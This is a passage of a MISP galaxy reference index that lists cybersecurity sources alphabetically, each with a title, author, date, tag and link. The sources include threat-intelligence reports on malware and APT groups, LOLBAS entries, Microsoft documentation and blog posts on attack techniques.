Boal, Calum. (2020, January 28). Abusing Kerberos From Linux - An Overview of Available Tools. Retrieved September 17, 2024.

The tag is: *misp-galaxy:references="on security kerberos linux"*

Table 19112. Table References

Links
https://www.onsecurity.io/blog/abusing-kerberos-from-linux/

Retwin Directory Share Pivot

Routin, D. (2017, November 13). Abusing network shares for efficient lateral movements and privesc (DirSharePivot). Retrieved April 12, 2018.

The tag is: *misp-galaxy:references="Retwin Directory Share Pivot"*

Table 19113. Table References

Links
https://rewtin.blogspot.ch/2017/11/abusing-user-shares-for-efficient.html

BOHOPS Abusing the COM Registry

BOHOPS. (2018, August 18). Abusing the COM Registry Structure (Part 2): Hijacking & Loading Techniques. Retrieved August 10, 2020.

The tag is: *misp-galaxy:references="BOHOPS Abusing the COM Registry"*

Table 19114. Table References

Links
https://bohops.com/2018/08/18/abusing-the-com-registry-structure-part-2-loading-techniques-for-evasion-and-persistence/

abusing_com_reg

bohops. (2018, August 18). ABUSING THE COM REGISTRY STRUCTURE (PART 2): HIJACKING & LOADING TECHNIQUES. Retrieved September 20, 2021.

The tag is: *misp-galaxy:references="abusing_com_reg"*

Table 19115. Table References

Links
https://bohops.com/2018/08/18/abusing-the-com-registry-structure-part-2-loading-techniques-for-evasion-and-persistence/

Rhino Security Labs AWS VPC Traffic Mirroring

Spencer Gietzen. (2019, September 17). Abusing VPC Traffic Mirroring in AWS. Retrieved March 17, 2022.

The tag is: *misp-galaxy:references="Rhino Security Labs AWS VPC Traffic Mirroring"*

Table 19116. Table References

Links
https://rhinosecuritylabs.com/aws/abusing-vpc-traffic-mirroring-in-aws/

Narrator Accessibility Abuse

Comi, G. (2019, October 19). Abusing Windows 10 Narrator’s 'Feedback-Hub' URI for Fileless

Persistence. Retrieved April 28, 2020.

The tag is: *misp-galaxy:references="Narrator Accessibility Abuse"*

Table 19117. Table References

Links
https://giuliocomi.blogspot.com/2019/10/abusing-windows-10-narrators-feedback.html

Intezer ACBackdoor

Sanmillan, I. (2019, November 18). ACBackdoor: Analysis of a New Multiplatform Backdoor. Retrieved October 4, 2021.

The tag is: *misp-galaxy:references="Intezer ACBackdoor"*

Table 19118. Table References

Links
https://www.intezer.com/blog/research/acbackdoor-analysis-of-a-new-multiplatform-backdoor/

AccCheckConsole.exe - LOLBAS Project

LOLBAS. (2022, January 2). AccCheckConsole.exe. Retrieved December 4, 2023.

The tag is: *misp-galaxy:references="AccCheckConsole.exe - LOLBAS Project"*

Table 19119. Table References

Links
https://lolbas-project.github.io/lolbas/OtherMSBinaries/AccCheckConsole/

CyberScoop APT28 Nov 2018

Shoorbajee, Z. (2018, November 29). Accenture: Russian hackers using Brexit talks to disguise phishing lures. Retrieved July 16, 2019.

The tag is: *misp-galaxy:references="CyberScoop APT28 Nov 2018"*

Table 19120. Table References

Links
https://www.cyberscoop.com/apt28-brexit-phishing-accenture/

Microsoft Azure Kubernetes Service Service Accounts

Microsoft Azure. (2023, April 28). Access and identity options for Azure Kubernetes Service (AKS). Retrieved July 14, 2023.

The tag is: *misp-galaxy:references="Microsoft Azure Kubernetes Service Service Accounts"*

Table 19121. Table References

Links
https://learn.microsoft.com/en-us/azure/aks/concepts-identity

CrowdStrike Access Brokers

CrowdStrike Intelligence Team. (2022, February 23). Access Brokers: Who Are the Targets, and What Are They Worth?. Retrieved March 10, 2023.

The tag is: *misp-galaxy:references="CrowdStrike Access Brokers"*

Table 19122. Table References

Links
https://www.crowdstrike.com/blog/access-brokers-targets-and-worth/

Microsoft Access Control Lists May 2018

1. Satran, M. Jacobs. (2018, May 30). Access Control Lists. Retrieved February 4, 2020.

The tag is: *misp-galaxy:references="Microsoft Access Control Lists May 2018"*

Table 19123. Table References

Links
https://docs.microsoft.com/en-us/windows/win32/secauthz/access-control-lists

Auth0 Access Tokens

Auth0. (n.d.). Access Tokens. Retrieved September 29, 2021.

The tag is: *misp-galaxy:references="Auth0 Access Tokens"*

Table 19124. Table References

Links
https://auth0.com/docs/tokens/access-tokens

BSidesSLC 2020 - LNK Elastic

French, D., Filar, B.. (2020, March 21). A Chain Is No Stronger Than Its Weakest LNK. Retrieved November 30, 2020.

The tag is: *misp-galaxy:references="BSidesSLC 2020 - LNK Elastic"*

Table 19125. Table References

Links
https://www.youtube.com/watch?v=nJ0UsyiUEqQ

Mythic SpecterOps

Thomas, C. (2020, August 13). A Change of Mythic Proportions. Retrieved March 25, 2022.

The tag is: *misp-galaxy:references="Mythic SpecterOps"*

Table 19126. Table References

Links
https://posts.specterops.io/a-change-of-mythic-proportions-21debeb03617

FireEye Chinese Espionage October 2019

Nalani Fraser, Kelli Vanderlee. (2019, October 10). Achievement Unlocked - Chinese Cyber Espionage Evolves to Support Higher Level Missions. Retrieved November 17, 2024.

The tag is: *misp-galaxy:references="FireEye Chinese Espionage October 2019"*

Table 19127. Table References

Links
https://web.archive.org/web/20210308054208/https://www.fireeye.com/content/dam/fireeye-www/summit/cds-2019/presentations/cds19-executive-s08-achievement-unlocked.pdf

Unit42 AcidBox June 2020

Reichel, D. and Idrizovic, E. (2020, June 17). AcidBox: Rare Malware Repurposing Turla Group Exploit Targeted Russian Organizations. Retrieved March 16, 2021.

The tag is: *misp-galaxy:references="Unit42 AcidBox June 2020"*

Table 19128. Table References

Links
https://unit42.paloaltonetworks.com/acidbox-rare-malware/

SentinelOne AcidPour 2024

Juan Andrés Guerrero-Saade & Tom Hegel. (2024, March 21). AcidPour | New Embedded Wiper Variant of AcidRain Appears in Ukraine. Retrieved November 25, 2024.

The tag is: *misp-galaxy:references="SentinelOne AcidPour 2024"*

Table 19129. Table References

Links
https://www.sentinelone.com/labs/acidpour-new-embedded-wiper-variant-of-acidrain-appears-in-ukraine/

AcidRain JAGS 2022

Juan Andres Guerrero-Saade and Max van Amerongen, SentinelOne. (2022, March 31). AcidRain | A Modem Wiper Rains Down on Europe. Retrieved March 25, 2024.

The tag is: *misp-galaxy:references="AcidRain JAGS 2022"*

Table 19130. Table References

Links
https://www.sentinelone.com/labs/acidrain-a-modem-wiper-rains-down-on-europe/

acroread package compromised Arch Linux Mail 8JUL2018

Eli Schwartz. (2018, June 8). acroread package compromised. Retrieved April 23, 2019.

The tag is: *misp-galaxy:references="acroread package compromised Arch Linux Mail 8JUL2018"*

Table 19131. Table References

Links
https://lists.archlinux.org/pipermail/aur-general/2018-July/034153.html

Microsoft Actinium February 2022

Microsoft Threat Intelligence Center. (2022, February 4). ACTINIUM targets Ukrainian organizations. Retrieved February 18, 2022.

The tag is: *misp-galaxy:references="Microsoft Actinium February 2022"*

Table 19132. Table References

Links
https://www.microsoft.com/security/blog/2022/02/04/actinium-targets-ukrainian-organizations/

Wikipedia Active Directory

Wikipedia. (2018, March 10). Active Directory. Retrieved April 11, 2018.

The tag is: *misp-galaxy:references="Wikipedia Active Directory"*

Table 19133. Table References

Links
https://en.wikipedia.org/wiki/Active_Directory

Microsoft AD Accounts

Microsoft. (2019, August 23). Active Directory Accounts. Retrieved March 13, 2020.

The tag is: *misp-galaxy:references="Microsoft AD Accounts"*

Table 19134. Table References

Links
https://docs.microsoft.com/en-us/windows/security/identity-protection/access-control/active-directory-accounts

Microsoft AD Admin Tier Model

Microsoft. (2019, February 14). Active Directory administrative tier model. Retrieved February 21, 2020.

The tag is: *misp-galaxy:references="Microsoft AD Admin Tier Model"*

Table 19135. Table References

Links
https://docs.microsoft.com/en-us/windows-server/identity/securing-privileged-access/securing-privileged-access-reference-material?redirectedfrom=MSDN

Microsoft AD CS Overview

Microsoft. (2016, August 31). Active Directory Certificate Services Overview. Retrieved August 2, 2022.

The tag is: *misp-galaxy:references="Microsoft AD CS Overview"*

Table 19136. Table References

Links
https://docs.microsoft.com/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/hh831740(v=ws.11)

Microsoft Get-ADUser

Microsoft. (n.d.). Active Directory Cmdlets - Get-ADUser. Retrieved November 30, 2017.

The tag is: *misp-galaxy:references="Microsoft Get-ADUser"*

Table 19137. Table References

Links
https://technet.microsoft.com/library/ee617241.aspx

Active Directory Enumeration with LDIFDE

Microsoft. (2023, June 26). Active Directory Enumeration with LDIFDE. Retrieved July 11, 2023.

The tag is: *misp-galaxy:references="Active Directory Enumeration with LDIFDE"*

Table 19138. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1069.002/T1069.002.md#atomic-test-14---active-directory-enumeration-with-ldifde

Microsoft SID-History Attribute

Microsoft. (n.d.). Active Directory Schema - SID-History attribute. Retrieved November 30, 2017.

The tag is: *misp-galaxy:references="Microsoft SID-History Attribute"*

Table 19139. Table References

Links
https://msdn.microsoft.com/library/ms679833.aspx

Volexity Ivanti Zero-Day Exploitation January 2024

Meltzer, M. et al. (2024, January 10). Active Exploitation of Two Zero-Day Vulnerabilities in Ivanti Connect Secure VPN. Retrieved February 27, 2024.

The tag is: *misp-galaxy:references="Volexity Ivanti Zero-Day Exploitation January 2024"*

Table 19140. Table References

Links
https://www.volexity.com/blog/2024/01/10/active-exploitation-of-two-zero-day-vulnerabilities-in-ivanti-connect-secure-vpn/

ActiveMalwareEnergy

Dan Goodin. (2014, June 30). Active malware operation let attackers sabotage US energy industry. Retrieved March 9, 2017.

The tag is: *misp-galaxy:references="ActiveMalwareEnergy"*

Table 19141. Table References

Links
https://arstechnica.com/information-technology/2014/06/active-malware-operation-let-attackers-sabotage-us-energy-industry/

Klein Active Setup 2010

Klein, H. (2010, April 22). Active Setup Explained. Retrieved December 18, 2020.

The tag is: *misp-galaxy:references="Klein Active Setup 2010"*

Table 19142. Table References

Links
https://helgeklein.com/blog/2010/04/active-setup-explained/

Dark Vortex Brute Ratel C4

Dark Vortex. (n.d.). A Customized Command and Control Center for Red Team and Adversary Simulation. Retrieved February 7, 2023.

The tag is: *misp-galaxy:references="Dark Vortex Brute Ratel C4"*

Table 19143. Table References

Links
https://bruteratel.com/

Juniper Networks ESXi Backdoor 2022

Asher Langton. (2022, December 9). A Custom Python Backdoor for VMWare ESXi Servers. Retrieved March 26, 2025.

The tag is: *misp-galaxy:references="Juniper Networks ESXi Backdoor 2022"*

Table 19144. Table References

Links
https://blogs.juniper.net/en-us/threat-research/a-custom-python-backdoor-for-vmware-esxi-servers

ad_blocker_with_miner

Kuzmenko, A.. (2021, March 10). Ad blocker with miner included. Retrieved October 28, 2021.

The tag is: *misp-galaxy:references="ad_blocker_with_miner"*

Table 19145. Table References

Links

https://securelist.com/ad-blocker-with-miner-included/101105/

Broadcom ESXi Firewall

Broadcom. (2025, March 24). Add Allowed IP Addresses for an ESXi Host by Using the VMware Host Client. Retrieved March 26, 2025.

The tag is: *misp-galaxy:references="Broadcom ESXi Firewall"*

Table 19146. Table References

Links
https://techdocs.broadcom.com/us/en/vmware-cis/vsphere/vsphere/7-0/add-allowed-ip-addresses-for-an-esxi-host-by-using-the-vmware-host-client.html

Microsoft Support O365 Add Another Admin, October 2019

Microsoft. (n.d.). Add Another Admin. Retrieved October 18, 2019.

The tag is: *misp-galaxy:references="Microsoft Support O365 Add Another Admin, October 2019"*

Table 19147. Table References

Links
https://support.office.com/en-us/article/add-another-admin-f693489f-9f55-4bd0-a637-a81ce93de22d

Amazon AWS IMDS V2

MacCarthaigh, C. (2019, November 19). Add defense in depth against open firewalls, reverse proxies, and SSRF vulnerabilities with enhancements to the EC2 Instance Metadata Service. Retrieved October 14, 2020.

The tag is: *misp-galaxy:references="Amazon AWS IMDS V2"*

Table 19148. Table References

Links
https://aws.amazon.com/blogs/security/defense-in-depth-open-firewalls-reverse-proxies-ssrf-vulnerabilities-ec2-instance-metadata-service/

Adding Login Items

Apple. (2016, September 13). Adding Login Items. Retrieved July 11, 2017.

The tag is: *misp-galaxy:references="Adding Login Items"*

Table 19149. Table References

Links
https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLoginItems.html

MRWLabs Office Persistence Add-ins

Knowles, W. (2017, April 21). Add-In Opportunities for Office Persistence. Retrieved November 17, 2024.

The tag is: *misp-galaxy:references="MRWLabs Office Persistence Add-ins"*

Table 19150. Table References

Links
https://web.archive.org/web/20190526112859/https://labs.mwrinfosecurity.com/blog/add-in-opportunities-for-office-persistence/

AddinUtil.exe - LOLBAS Project

LOLBAS. (2023, October 5). AddinUtil.exe. Retrieved December 4, 2023.

The tag is: *misp-galaxy:references="AddinUtil.exe - LOLBAS Project"*

Table 19151. Table References

Links
https://lolbas-project.github.io/lolbas/Binaries/Addinutil/

NTT Security Holdings May 8 2025

NTT Security Holdings. (2025, May 8). Additional Features of OtterCookie Malware Used by WaterPlum . Retrieved May 23, 2025.

The tag is: *misp-galaxy:references="NTT Security Holdings May 8 2025"*

Table 19152. Table References

Links
https://jp.security.ntt/tech_blog/en-waterplum-ottercookie

Microsoft - Add-MailboxPermission

Microsoft. (n.d.). Add-Mailbox Permission. Retrieved September 13, 2019.

The tag is: *misp-galaxy:references="Microsoft - Add-MailboxPermission"*

Table 19153. Table References

Links
https://docs.microsoft.com/en-us/powershell/module/exchange/mailboxes/add-mailboxpermission?view=exchange-ps

AddMonitor

Microsoft. (n.d.). AddMonitor function. Retrieved November 12, 2014.

The tag is: *misp-galaxy:references="AddMonitor"*

Table 19154. Table References

Links
http://msdn.microsoft.com/en-us/library/dd183341

Microsoft Azure AD Users

Microsoft. (2019, November 11). Add or delete users using Azure Active Directory. Retrieved January 30, 2020.

The tag is: *misp-galaxy:references="Microsoft Azure AD Users"*

Table 19155. Table References

Links
https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/add-users-azure-active-directory

Microsoft Office Add-ins

Microsoft. (n.d.). Add or remove add-ins. Retrieved July 3, 2017.

The tag is: *misp-galaxy:references="Microsoft Office Add-ins"*

Table 19156. Table References

Links
https://support.office.com/article/Add-or-remove-add-ins-0af570c4-5cf3-4fa9-9b88-403625a0b460

Microsoft AddPrintProcessor May 2018

Microsoft. (2018, May 31). AddPrintProcessor function. Retrieved October 5, 2020.

The tag is: *misp-galaxy:references="Microsoft AddPrintProcessor May 2018"*

Table 19157. Table References

Links
https://docs.microsoft.com/en-us/windows/win32/printdocs/addprintprocessor

RFC1918

IETF Network Working Group. (1996, February). Address Allocation for Private Internets. Retrieved October 20, 2020.

The tag is: *misp-galaxy:references="RFC1918"*

Table 19158. Table References

Links
https://tools.ietf.org/html/rfc1918

Microsoft Exchange Address Lists

Microsoft. (2020, February 7). Address lists in Exchange Server. Retrieved March 26, 2020.

The tag is: *misp-galaxy:references="Microsoft Exchange Address Lists"*

Table 19159. Table References

Links
https://docs.microsoft.com/en-us/exchange/email-addresses-and-address-books/address-lists/address-lists?view=exchserver-2019

Microsoft AD DS Getting Started

Foulds, I. et al. (2018, August 7). AD DS Getting Started. Retrieved September 23, 2021.

The tag is: *misp-galaxy:references="Microsoft AD DS Getting Started"*

Table 19160. Table References

Links
https://docs.microsoft.com/en-us/windows-server/identity/ad-ds/ad-ds-getting-started

Akamai DGA Mitigation

Liu, H. and Yuzifovich, Y. (2018, January 9). A Death Match of Domain Generation Algorithms. Retrieved February 18, 2019.

The tag is: *misp-galaxy:references="Akamai DGA Mitigation"*

Table 19161. Table References

Links

https://medium.com/@yvyuz/a-death-match-of-domain-generation-algorithms-a5b5dbdc1c6e

Keychain Decryption Passware

Yana Gourenko. (n.d.). A Deep Dive into Apple Keychain Decryption. Retrieved April 13, 2022.

The tag is: *misp-galaxy:references="Keychain Decryption Passware"*

Table 19162. Table References

Links
https://support.passware.com/hc/en-us/articles/4573379868567-A-Deep-Dive-into-Apple-Keychain-Decryption

Trend Micro Deep Dive Into Defacement

Marco Balduzzi, Ryan Flores, Lion Gu, Federico Maggi, Vincenzo Ciancaglini, Roel Reyes, Akira Urano. (n.d.). A Deep Dive into Defacement: How Geopolitical Events Trigger Web Attacks. Retrieved April 19, 2019.

The tag is: *misp-galaxy:references="Trend Micro Deep Dive Into Defacement"*

Table 19163. Table References

Links
https://documents.trendmicro.com/assets/white_papers/wp-a-deep-dive-into-defacement.pdf

Talos Lokibot Jan 2021

Muhammad, I., Unterbrink, H.. (2021, January 6). A Deep Dive into Lokibot Infection Chain. Retrieved August 31, 2021.

The tag is: *misp-galaxy:references="Talos Lokibot Jan 2021"*

Table 19164. Table References

Links
https://blog.talosintelligence.com/2021/01/a-deep-dive-into-lokibot-infection-chain.html

Malwarebytes Saint Bot April 2021

Hasherezade. (2021, April 6). A deep dive into Saint Bot, a new downloader. Retrieved June 9, 2022.

The tag is: *misp-galaxy:references="Malwarebytes Saint Bot April 2021"*

Table 19165. Table References

Links

https://blog.malwarebytes.com/threat-intelligence/2021/04/a-deep-dive-into-saint-bot-downloader/

SecurityScorecard CredoMap September 2022

Vlad Pasca. (2022, September 27). A Deep Dive Into the APT28's stealer called CredoMap. Retrieved December 5, 2023.

The tag is: *misp-galaxy:references="SecurityScorecard CredoMap September 2022"*

Table 19166. Table References

Links
https://securityscorecard.com/research/apt28s-stealer-called-credomap/

Krebs DNS Hijack 2019

Brian Krebs. (2019, February 18). A Deep Dive on the Recent Widespread DNS Hijacking Attacks. Retrieved February 14, 2022.

The tag is: *misp-galaxy:references="Krebs DNS Hijack 2019"*

Table 19167. Table References

Links
https://krebsonsecurity.com/2019/02/a-deep-dive-on-the-recent-widespread-dns-hijacking-attacks/

Trend Micro Earth Baku August 9 2024

Ted Lee, Theo Chen. (2024, August 9). A Dive into Earth Baku's Latest Campaign. Retrieved January 31, 2025.

The tag is: *misp-galaxy:references="Trend Micro Earth Baku August 9 2024"*

Table 19168. Table References

Links
https://www.trendmicro.com/en_us/research/24/h/earth-baku-latest-campaign.html

Reaqta MuddyWater November 2017

Reaqta. (2017, November 22). A dive into MuddyWater APT targeting Middle-East. Retrieved May 18, 2020.

The tag is: *misp-galaxy:references="Reaqta MuddyWater November 2017"*

Table 19169. Table References

Links

https://reaqta.com/2017/11/muddywater-apt-targeting-middle-east/

ESET Turla PowerShell May 2019

Faou, M. and Dumont R.. (2019, May 29). A dive into Turla PowerShell usage. Retrieved June 14, 2019.

The tag is: *misp-galaxy:references="ESET Turla PowerShell May 2019"*

Table 19170. Table References

Links
https://www.welivesecurity.com/2019/05/29/turla-powershell-usage/

Kubernetes Admission Controllers

Kubernetes. (n.d.). Admission Controllers Reference. Retrieved March 8, 2023.

The tag is: *misp-galaxy:references="Kubernetes Admission Controllers"*

Table 19171. Table References

Links
https://kubernetes.io/docs/reference/access-authn-authz/admission-controllers

Krebs Adobe

Brian Krebs. (2013, October 3). Adobe To Announce Source Code, Customer Data Breach. Retrieved May 17, 2021.

The tag is: *misp-galaxy:references="Krebs Adobe"*

Table 19172. Table References

Links
https://krebsonsecurity.com/2013/10/adobe-to-announce-source-code-customer-data-breach/

Github AD-Pentest-Script

Twi1ight. (2015, July 11). AD-Pentest-Script - wmiexec.vbs. Retrieved June 29, 2017.

The tag is: *misp-galaxy:references="Github AD-Pentest-Script"*

Table 19173. Table References

Links
https://github.com/Twi1ight/AD-Pentest-Script/blob/master/wmiexec.vbs

adplus.exe - LOLBAS Project

LOLBAS. (2021, September 1). adplus.exe. Retrieved December 4, 2023.

The tag is: *misp-galaxy:references="adplus.exe - LOLBAS Project"*

Table 19174. Table References

Links
https://lolbas-project.github.io/lolbas/OtherMSBinaries/Adplus/

Microsoft ADV170021 Dec 2017

Microsoft. (2017, December 12). ADV170021 - Microsoft Office Defense in Depth Update. Retrieved February 3, 2018.

The tag is: *misp-galaxy:references="Microsoft ADV170021 Dec 2017"*

Table 19175. Table References

Links
https://portal.msrc.microsoft.com/security-guidance/advisory/ADV170021

CISA AA20-352A 2021

CISA. (2021, April 15). Advanced Persistent Threat Compromise of Government Agencies, Critical Infrastructure, and Private Sector Organizations. Retrieved August 30, 2024.

The tag is: *misp-galaxy:references="CISA AA20-352A 2021"*

Table 19176. Table References

Links
https://www.cisa.gov/news-events/cybersecurity-advisories/aa20-352a

FireEye APT Groups

FireEye. (n.d.). Advanced Persistent Threat Groups. Retrieved August 3, 2018.

The tag is: *misp-galaxy:references="FireEye APT Groups"*

Table 19177. Table References

Links
https://www.fireeye.com/current-threats/apt-groups.html#apt19

Mandiant APT Groups List

Mandiant. (n.d.). Advanced Persistent Threats (APTs). Retrieved September 14, 2023.

The tag is: *misp-galaxy:references="Mandiant APT Groups List"*

Table 19178. Table References

Links
https://www.mandiant.com/resources/insights/apt-groups

Mandiant Advanced Persistent Threats

Mandiant. (n.d.). Advanced Persistent Threats (APTs). Retrieved February 14, 2024.

The tag is: *misp-galaxy:references="Mandiant Advanced Persistent Threats"*

Table 19179. Table References

Links
https://www.mandiant.com/resources/insights/apt-groups

Advanced_sec_audit_policy_settings

Simpson, D. et al. (2017, April 19). Advanced security audit policy settings. Retrieved September 14, 2021.

The tag is: *misp-galaxy:references="Advanced_sec_audit_policy_settings"*

Table 19180. Table References

Links
https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/advanced-security-audit-policy-settings

Adversaries Hijack DLLs

CrowdStrike, Falcon OverWatch Team. (2022, December 30). Retrieved October 19, 2023.

The tag is: *misp-galaxy:references="Adversaries Hijack DLLs"*

Table 19181. Table References

Links
https://www.crowdstrike.com/blog/4-ways-adversaries-hijack-dlls/

CrowdStrike Richochet Chollima September 2021

CrowdStrike. (2021, September 30). Adversary Profile - Ricochet Chollima. Retrieved September 30, 2021.

The tag is: *misp-galaxy:references="CrowdStrike Richochet Chollima September 2021"*

Table 19182. Table References

Links
https://www.crowdstrike.com/adversaries/ricochet-chollima/

Elastic - Hunting for Persistence Part 1

French, D., Murphy, B. (2020, March 24). Adversary tradecraft 101: Hunting for persistence using Elastic Security (Part 1). Retrieved December 21, 2020.

The tag is: *misp-galaxy:references="Elastic - Hunting for Persistence Part 1"*

Table 19183. Table References

Links
https://www.elastic.co/blog/hunting-for-persistence-using-elastic-security-part-1

NCSC APT29 July 2020

National Cyber Security Centre. (2020, July 16). Advisory: APT29 targets COVID-19 vaccine development. Retrieved September 29, 2020.

The tag is: *misp-galaxy:references="NCSC APT29 July 2020"*

Table 19184. Table References

Links
https://www.ncsc.gov.uk/files/Advisory-APT29-targets-COVID-19-vaccine-development-V1-1.pdf

Mnemonic misuse visual studio

Mnemonic. (n.d.). Advisory: Misuse of Visual Studio Code for traffic tunnelling. Retrieved March 30, 2025.

The tag is: *misp-galaxy:references="Mnemonic misuse visual studio"*

Table 19185. Table References

Links
https://www.mnemonic.io/resources/blog/misuse-of-visual-studio-code-for-traffic-tunnelling/

Advpack.dll - LOLBAS Project

LOLBAS. (2018, May 25). Advpack.dll. Retrieved December 4, 2023.

The tag is: *misp-galaxy:references="Advpack.dll - LOLBAS Project"*

Table 19186. Table References

Links
https://lolbas-project.github.io/lolbas/Libraries/Advpack/

Kaspersky Adwind Feb 2016

Kamluk, V. & Gostev, A. (2016, February). Adwind - A Cross-Platform RAT. Retrieved April 23, 2019.

The tag is: *misp-galaxy:references="Kaspersky Adwind Feb 2016"*

Table 19187. Table References

Links
https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07195002/KL_AdwindPublicReport_2016.pdf

BroadcomSW August 12 2021

Threat Hunter Team Symantec. (2021, August 12). Affiliates Unlocked Gangs Switch Between Different Ransomware Families. Retrieved December 19, 2024.

The tag is: *misp-galaxy:references="BroadcomSW August 12 2021"*

Table 19188. Table References

Links
https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/ransomware-trends-lockbit-sodinokibi

Bitdefender Trickbot VNC module Whitepaper 2021

Radu Tudorica. (2021, July 12). A Fresh Look at Trickbot’s Ever-Improving VNC Module. Retrieved September 28, 2021.

The tag is: *misp-galaxy:references="Bitdefender Trickbot VNC module Whitepaper 2021"*

Table 19189. Table References

Links
https://www.bitdefender.com/files/News/CaseStudies/study/399/Bitdefender-PR-Whitepaper-Trickbot-creat5515-en-EN.pdf

Mac Backdoors are back

Dan Goodin. (2016, July 6). After hiatus, in-the-wild Mac backdoors are suddenly back. Retrieved July 8, 2017.

The tag is: *misp-galaxy:references="Mac Backdoors are back"*

Table 19190. Table References

Links
https://arstechnica.com/security/2016/07/after-hiatus-in-the-wild-mac-backdoors-are-suddenly-back/

SentinelOne January 30 2023

SentinelOne. (2023, January 30). Agenda (Qilin). Retrieved June 7, 2024.

The tag is: *misp-galaxy:references="SentinelOne January 30 2023"*

Table 19191. Table References

Links
https://www.sentinelone.com/anthology/agenda-qilin/

Trend Micro March 26 2024

Arianne Dela Cruz; Raymart Yambot; Raighen Sanchez; Darrel Tristan Virtusio Read time. (2024, March 26). Agenda Ransomware Propagates to vCenters and ESXi via Custom PowerShell Script. Retrieved April 5, 2024.

The tag is: *misp-galaxy:references="Trend Micro March 26 2024"*

Table 19192. Table References

Links
https://www.trendmicro.com/en_us/research/24/c/agenda-ransomware-propagates-to-vcenters-and-esxi-via-custom-pow.html

Kaspersky MSSQL Aug 2019

Plakhov, A., Sitchikhin, D. (2019, August 22). Agent 1433: remote attack on Microsoft SQL Server. Retrieved September 4, 2019.

The tag is: *misp-galaxy:references="Kaspersky MSSQL Aug 2019"*

Table 19193. Table References

Links

https://securelist.com/malicious-tasks-in-ms-sql-server/92167/

Securelist Agent.btz

Gostev, A.. (2014, March 12). Agent.btz: a Source of Inspiration?. Retrieved April 8, 2016.

The tag is: *misp-galaxy:references="Securelist Agent.btz"*

Table 19194. Table References

Links
https://securelist.com/agent-btz-a-source-of-inspiration/58551/

ThreatExpert Agent.btz

Shevchenko, S.. (2008, November 30). Agent.btz - A Threat That Hit Pentagon. Retrieved April 8, 2016.

The tag is: *misp-galaxy:references="ThreatExpert Agent.btz"*

Table 19195. Table References

Links
http://blog.threatexpert.com/2008/11/agentbtz-threat-that-hit-pentagon.html

AgentExecutor.exe - LOLBAS Project

LOLBAS. (2020, July 23). AgentExecutor.exe. Retrieved December 4, 2023.

The tag is: *misp-galaxy:references="AgentExecutor.exe - LOLBAS Project"*

Table 19196. Table References

Links
https://lolbas-project.github.io/lolbas/OtherMSBinaries/Agentexecutor/

SentinelLabs Agent Tesla Aug 2020

Walter, J. (2020, August 10). Agent Tesla | Old RAT Uses New Tricks to Stay on Top. Retrieved December 11, 2020.

The tag is: *misp-galaxy:references="SentinelLabs Agent Tesla Aug 2020"*

Table 19197. Table References

Links
https://labs.sentinelone.com/agent-tesla-old-rat-uses-new-tricks-to-stay-on-top/

LogPoint Agent Tesla March 23 2023

Anish Bogati. (2023, March 23). AgentTesla's Capabilities: A Review and Detection Strategies. Retrieved May 7, 2023.

The tag is: *misp-galaxy:references="LogPoint Agent Tesla March 23 2023"*

Table 19198. Table References

Links
https://www.logpoint.com/wp-content/uploads/2023/03/et-agenttesla.pdf

Sekoia.io Blog September 9 2024

Sekoia TDR; Felix Aimé; Pierre-Antoine D; Charles M. (2024, September 9). A glimpse into the Quad7 operators' next moves and associated botnets. Retrieved September 11, 2024.

The tag is: *misp-galaxy:references="Sekoia.io Blog September 9 2024"*

Table 19199. Table References

Links
https://blog.sekoia.io/a-glimpse-into-the-quad7-operators-next-moves-and-associated-botnets/

ATT Sidewinder January 2021

Hegel, T. (2021, January 13). A Global Perspective of the SideWinder APT. Retrieved January 27, 2021.

The tag is: *misp-galaxy:references="ATT Sidewinder January 2021"*

Table 19200. Table References

Links
https://cdn-cybersecurity.att.com/docs/global-perspective-of-the-sidewinder-apt.pdf

Unit42 Agrius 2023

Or Chechik, Tom Fakterman, Daniel Frank & Assaf Dahan. (2023, November 6). Agonizing Serpens (Aka Agrius) Targeting the Israeli Higher Education and Tech Sectors. Retrieved May 22, 2024.

The tag is: *misp-galaxy:references="Unit42 Agrius 2023"*

Table 19201. Table References

Links
https://unit42.paloaltonetworks.com/agonizing-serpens-targets-israeli-tech-higher-ed-sectors/

CheckPoint Agrius 2023

Marc Salinas Fernandez & Jiri Vinopal. (2023, May 23). AGRIUS DEPLOYS MONEYBIRD IN TARGETED ATTACKS AGAINST ISRAELI ORGANIZATIONS. Retrieved May 21, 2024.

The tag is: *misp-galaxy:references="CheckPoint Agrius 2023"*

Table 19202. Table References

Links
https://research.checkpoint.com/2023/agrius-deploys-moneybird-in-targeted-attacks-against-israeli-organizations/

Harmj0y Domain Trusts

Schroeder, W. (2017, October 30). A Guide to Attacking Domain Trusts. Retrieved February 14, 2019.

The tag is: *misp-galaxy:references="Harmj0y Domain Trusts"*

Table 19203. Table References

Links
https://posts.specterops.io/a-guide-to-attacking-domain-trusts-971e52cb2944

airwalk backdoor unix systems

airwalk. (2023, January 1). A guide to backdooring Unix systems. Retrieved May 31, 2023.

The tag is: *misp-galaxy:references="airwalk backdoor unix systems"*

Table 19204. Table References

Links
http://www.ouah.org/backdoors.html

Wired Lockergoga 2019

Greenberg, A. (2019, March 25). A Guide to LockerGoga, the Ransomware Crippling Industrial Firms. Retrieved July 17, 2019.

The tag is: *misp-galaxy:references="Wired Lockergoga 2019"*

Table 19205. Table References

Links
https://www.wired.com/story/lockergoga-ransomware-crippling-industrial-firms/

ZDNET Selling Data

Cimpanu, C. (2020, May 9). A hacker group is selling more than 73 million user records on the dark web. Retrieved October 20, 2020.

The tag is: *misp-galaxy:references="ZDNET Selling Data"*

Table 19206. Table References

Links
https://www.zdnet.com/article/a-hacker-group-is-selling-more-than-73-million-user-records-on-the-dark-web/

ESET Zebrocy May 2019

ESET Research. (2019, May 22). A journey to Zebrocy land. Retrieved June 20, 2019.

The tag is: *misp-galaxy:references="ESET Zebrocy May 2019"*

Table 19207. Table References

Links
https://www.welivesecurity.com/2019/05/22/journey-zebrocy-land/

Kersten Akira 2023

Max Kersten & Alexandre Mundo. (2023, November 29). Akira Ransomware. Retrieved April 4, 2024.

The tag is: *misp-galaxy:references="Kersten Akira 2023"*

Table 19208. Table References

Links
https://www.trellix.com/blogs/research/akira-ransomware/

